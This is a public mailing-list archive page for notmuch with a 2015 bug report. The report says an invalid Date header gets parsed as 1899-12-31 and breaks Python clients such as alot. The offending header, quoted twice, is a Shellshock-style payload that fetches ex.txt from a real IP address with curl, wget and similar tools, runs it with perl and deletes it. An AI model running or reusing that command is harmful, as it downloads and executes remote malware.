unofficial mirror of notmuch@notmuchmail.org
 help / color / mirror / code / Atom feed
* bug: notmuch cannot handle invalid Date fields
@ 2015-04-22  6:56 Johannes Schauer
  2015-04-22 13:37 ` Tomi Ollila
                   ` (3 more replies)
  0 siblings, 4 replies; 9+ messages in thread
From: Johannes Schauer @ 2015-04-22  6:56 UTC (permalink / raw)
  To: notmuch

[-- Attachment #1: Type: text/plain, Size: 1095 bytes --]

Hi,

I recently received an email with the following date field (the value of all
other headers is the same):

Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &;

When doing `notmuch search lwp-download` I get:

thread:000000000001ea6b   1899-12-31 [1/1] {; () { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr ex.*' &; (inbox unread)

You can see that the date is 1899-12-31 which is wrong.

This is annoying because the python module datetime which is for example used
by the notmuch client alot cannot handle dates before the year 1900 and will
thus never show this email in its thread view but instead display an exception
every time the view is refreshed.

It would be great if an invalid date could either somehow default to a nil
value or be a date that is 1900 or later.

Thanks!

cheers, josch

[-- Attachment #2: signature --]
[-- Type: application/pgp-signature, Size: 819 bytes --]

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQIcBAABCAAGBQJVN0YeAAoJEPLLpcePvYPhSOAQAIshVq9O3v5N2jjiE9tKcuqC
mZ1rm6X2jZm/kbWFX1NSnQ5qI7Tyuy0S549k+/n3i3FTGxbYIyAaqJ5wSuTaqCNa
nyRe4LNKT2mOq7RUt8XsD1fmUm8RIoxbGYqACsaugNP51K6IZCkwWxAtCj6u362c
4sTtOnsTd5AcDyWDX1ErX0nC/Jt7aWXIeBJm9P+XodKX+Vr1RFVxT83pkx7QOoQ4
aQMOdoQaVbejCN9bi93R/z8UWXCGxaC12FMNUCGPGGJHZQ4VUzNCJ303wQqb+4O7
6qKc6bzJg4YEbLgsr8oeWh0bkFjPiSdExFiS2uUYmaaM3aH5Y1ndayBhOXV9UrLS
KSKrdJbUnqKaeMpCE4ACwL6MKO4tBek4hYwFETaP3fmhjm1uK2Bu6FgDM+3XTL9n
3kMBoQlkoA1EdaT3JQK+irBCnEoLzy897vqtf6YkgoKHbX4k2Fx9Bt2XUa7tygv3
1Ez6pRv9t8kHsde+ZU7xrQlJG5JfNDT43zP07VJUV10ctU2ZCt8cu3fMgrCPsK1m
rx3RcnTNg2nbIq5fHhVZTk40s/3dA7yJua6i/nwaQaY7yX/AhHLGMU97krlkB83n
xuYeuuKLj5Nv8QUTZ+juMVsEP6ukeM0ChtVIbMqP47/kuUvGqvYcn0Ii64HjF1jQ
AjnMU1UmJfwH/+lpFnvI
=dT8/
-----END PGP SIGNATURE-----

^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2017-03-19 12:31 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2015-04-22  6:56 bug: notmuch cannot handle invalid Date fields Johannes Schauer
2015-04-22 13:37 ` Tomi Ollila
2015-04-22 13:42   ` Johannes Schauer
2017-03-12  1:38 ` David Bremner
2017-03-12 12:51 ` [PATCH 1/2] lib: add known broken test for parsing bad dates David Bremner
2017-03-12 12:51   ` [PATCH 2/2] lib: clamp return value of g_mime_utils_header_decode_date to >=0 David Bremner
2017-03-15 20:09     ` Tomi Ollila
2017-03-16  1:16     ` David Bremner
2017-03-19 12:31 ` bug: notmuch cannot handle invalid Date fields David Bremner

Code repositories for project(s) associated with this public inbox

	https://yhetil.org/notmuch.git/

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for read-only IMAP folder(s) and NNTP newsgroup(s).